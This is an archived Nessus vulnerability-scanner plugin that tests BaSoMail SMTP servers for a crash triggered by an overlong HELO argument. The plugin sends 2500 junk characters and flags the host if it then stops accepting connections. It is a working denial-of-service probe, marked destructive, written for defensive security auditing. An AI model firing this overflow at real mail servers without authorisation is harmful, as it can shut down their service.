home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / basomail_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  2KB  |  86 lines
  1. #
  2. # (C) Tenable Network Security
  3. #
  4. # Use imate_overflow.nasl as a template(Covered by csm_helo.nasl too, should merge?)
  5. #
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(11674);
  11.  script_bugtraq_id(7726);
  12.  script_version ("$Revision: 1.6 $");
  13.  name["english"] = "BaSoMail SMTP Command HELO overflow";
  14.  script_name(english:name["english"]);
  15.  
  16.  desc["english"] = "
  17. The remote SMTP server crashes when it is
  18. issued a HELO command with an argument longer
  19. than 2100 chars.
  20.  
  21. This problem may allow an attacker to shut down
  22. your SMTP server.
  23.  
  24. Solution : Upgrade the SMTP server software
  25. Risk factor : High";
  26.  
  27.  desc["francais"] = "
  28. Le serveur SMTP distant se plante lorsqu'on lui
  29. envoye une commande HELO ayant un argument
  30. de plus de 2100 octets.
  31. Ce problΦme peut permettre α des pirates d'Θteindre
  32. votre serveur SMTP
  33. Solution : mettez-le α jour
  34. Facteur de risque : SΘrieux";
  35.  script_description(english:desc["english"],
  36.       francais:desc["francais"]);
  37.     
  38.  
  39.  summary["english"] = "Checks if the remote mail server can be oveflown"; 
  40.  summary["francais"] = "VΘrifie si le serveur de mail est sujet α un overflow";
  41.  script_summary(english:summary["english"],
  42.   francais:summary["francais"]);
  43.  
  44.  script_category(ACT_DESTRUCTIVE_ATTACK);
  45.  
  46.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security",
  47.    francais:"Ce script est Copyright (C) 2003 Tenable Network Security");
  48.  
  49.  family["english"] = "SMTP problems";
  50.  family["francais"] = "ProblΦmes SMTP";
  51.  script_family(english:family["english"], francais:family["francais"]);
  52.  script_dependencie("find_service.nes", "sendmail_expn.nasl");
  53.  script_exclude_keys("SMTP/wrapped");
  54.  script_require_ports("Services/smtp", 25);
  55.  exit(0);
  56. }
  57. #
  58. # The script code starts here
  59. #
  60. include("smtp_func.inc");
  61. port = get_kb_item("Services/smtp");
  62. if(!port)port = 25;
  63. if(get_port_state(port))
  64. {
  65.  soc = open_sock_tcp(port);
  66.  if(soc)
  67.  {
  68.  s = smtp_recv_banner(socket:soc);
  69.  if(!s)exit(0);
  70.  if(!egrep(pattern:"^220 .*", string:s))
  71.  {
  72.    close(soc);
  73.    exit(0);
  74.  }
  75.  
  76.  crp = string("HELO ", crap(2500), "\r\n");
  77.  send(socket:soc, data:crp);
  78.  data = recv_line(socket:soc, length:4);
  79.  close(soc);
  80.  
  81.  
  82.  soc2 = open_sock_tcp(port);
  83.  if(!soc2)security_hole(port);
  84.  }
  85. }
  86.